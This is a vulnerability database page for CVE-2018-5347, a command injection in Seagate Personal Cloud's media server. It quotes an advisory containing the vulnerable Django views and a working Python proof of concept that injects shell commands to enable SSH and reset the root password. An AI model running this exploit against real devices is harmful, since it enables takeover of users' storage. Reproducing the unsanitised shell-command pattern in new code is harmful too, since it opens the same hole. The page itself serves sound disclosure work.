Vulnerabilities > CVE-2018-5347 - OS Command Injection vulnerability in Seagate Personal Cloud Firmware

047910
CVSS 9.8 - CRITICAL
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
HIGH
Integrity impact
HIGH
Availability impact
HIGH
network
low complexity
seagate
CWE-78
critical
exploit available

Summary

Seagate Media Server in Seagate Personal Cloud has unauthenticated command injection in the uploadTelemetry and getLogs functions in views.py because .psp URLs are handled by the fastcgi.server component and shell metacharacters are mishandled.

Vulnerable Configurations

Part Description Count
OS
Seagate
1
Hardware
Seagate
1

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Command Line Execution through SQL Injection
    An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.
  • Command Delimiters
    An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or a blacklist input validation, as opposed to whitelist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or blacklist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.
  • Exploiting Multiple Input Interpretation Layers
    An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic. This exploit relies on the target making multiples passes over the input data and processing a "layer" of special characters with each pass. In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps. The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop.
  • Argument Injection
    An attacker changes the behavior or state of a targeted application through injecting data or command syntax through the targets use of non-validated and non-filtered arguments of exposed services or methods.
  • OS Command Injection
    In this type of an attack, an adversary injects operating system commands into existing application functions. An application that uses untrusted input to build command strings is vulnerable. An adversary can leverage OS command injection in an application to elevate privileges, execute arbitrary commands and compromise the underlying operating system.

Exploit-Db

descriptionSeagate Personal Cloud - Multiple Vulnerabilities. CVE-2018-5347. Remote exploit for Hardware platform
fileexploits/hardware/remote/43659.md
idEDB-ID:43659
last seen2018-01-24
modified2018-01-11
platformhardware
port
published2018-01-11
reporterExploit-DB
sourcehttps://www.exploit-db.com/download/43659/
titleSeagate Personal Cloud - Multiple Vulnerabilities
typeremote

Packetstorm

data sourcehttps://packetstormsecurity.com/files/download/145932/seagatepersonal-exec.txt
idPACKETSTORM:145932
last seen2018-01-18
published2018-01-16
reporterYorick Koster
sourcehttps://packetstormsecurity.com/files/145932/Seagate-Personal-Cloud-Command-Injection.html
titleSeagate Personal Cloud Command Injection

Seebug

bulletinFamilyexploit
description### Vulnerabilities summary The following advisory describes two (2) unauthenticated command injection vulnerabilities. Seagate Personal Cloud Home Media Storage is “the easiest way to store, organize, stream and share all your music, movies, photos, and important documents.” ### Credit An independent security researcher, Yorick Koster, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program ### Vendor response Seagate was informed of the vulnerability on October 16, but while acknowledging the receipt of the vulnerability information, refused to respond to the technical claims, to give a fix timeline or coordinate an advisory CVE: CVE-2018-5347 ### Vulnerabilities details Seagate Media Server uses Django web framework and is mapped to the .psp extension. Any URL that ends with .psp is automatically send to the Seagate Media Server application using the FastCGI protocol. /etc/lighttpd/conf.d/django-host.conf: ``` fastcgi.server += ( ".psp"=> (( "socket" => "/var/run/manage_py-fastcgi.socket", "check-local" => "disable", "stream-post" => "enable", "allow-x-send-file" => "enable", )), ".psp/"=> (( "socket" => "/var/run/manage_py-fastcgi.socket", "check-local" => "disable", "stream-post" => "enable", "allow-x-send-file" => "enable", )) ) ``` URLs are mapped to specific views in the file /usr/lib/django_host/seagate_media_server/urls.py. Two views were found to be affected by unauthenticated command injection. The affected views are: * uploadTelemetry * getLogs These views takes user input from GET parameters and pass these unvalidated/unsanitized to methods of the commands Python module. This allows an attacker to inject arbitrary system commands, that will be executed with root privileges. /usr/lib/django_host/seagate_media_server/views.py: ``` @csrf_exempt def uploadTelemetry(request): ts = request.GET.get('TimeStamp','') if (checkDBSQLite()) : response = '{"stat":"failed","code":"80","message":"The Database has not been initialized or mounted yet!"}' else : if ts == "": response = '{"stat":"failed","code":"380","message":"TimeStamp parameter missing"}' return HttpResponse(response); cmd = "/usr/local/bin/log_telemetry "+str(ts) commands.getoutput(cmd) return HttpResponse('{"stat":"ok"}') ``` /usr/lib/django_host/seagate_media_server/views.py: ``` @csrf_exempt def getLogs (request): try: cmd_base='/usr/bin/log-extract-manager.sh' uID = request.GET.get ( 'arch_id', None ) time_stamp = request.GET.get ( 'time_stamp', '' ) if uID: (status, output) = commands.getstatusoutput(cmd_base + ' status ' + uID); if ('In progress' in output) and (uID in output) : return HttpResponse ('{"stat":"ok", "data": {"status":"In Progress"}}') elif (status == 0) : return HttpResponse ('{"stat":"ok", "data": {"url":"%s", "fileSize":"%d"}}' % ( urllib.quote(output.encode('utf-8')), os.path.getsize(output) )) else : return HttpResponse ('{"stat":"failed", "code":"853","message":"Id not recognized."}' ) else: (status, output) = commands.getstatusoutput(cmd_base + ' start ' + time_stamp); if (status == 0) : return HttpResponse ('{"stat":"ok", "data": {"archiveID":"%s"}}' % (output)) return HttpResponse ('{"stat":"failed", "code":"852","message":"Zip file not created."}' ) except : return HttpResponse ('{"stat":"failed", "code":"852","message":"Zip file not created."}' ) ``` Note that both views contain the csrf_exempt decorator, which disables the default Cross-Site Request Forgery protection of Django. As such, these issues can be exploited via Cross-Site Request Forgery. ### Proof of Concept The following proof of concept will try to enable the SSH service, and change the root password. When successful it will be possible to log into the device over SSH with the new password. ``` #!/usr/bin/env python import os import urllib scheme = 'http' host = 'personalcloud.local' port = '80' path = 'uploadTelemetry.psp' querystr = 'TimeStamp=%3b' #path = 'getLogs.psp' #querystr = 'time_stamp=%3b' password = 'Welcome01' cmds = ['ngc --start sshd 2>&1', 'echo -e "%(s)s\n%(s)s"|passwd 2>&1' % {'s' : password}] for cmd in cmds: print 'Running command', repr(cmd) cmd = urllib.quote_plus(cmd) r = urllib.urlopen('%s://%s:%s/%s?%s%s' % (scheme, host, port, path, querystr, cmd)) print r.read() print 'Log in with', password os.system('ssh -p 2222 root@%s' % host) ```
idSSV:97283
last seen2018-06-26
modified2018-05-10
published2018-05-10
reporterMy Seebug
sourcehttps://www.seebug.org/vuldb/ssvid-97283
titleSeagate Personal Cloud Multiple Vulnerabilities(CVE-2018-5347)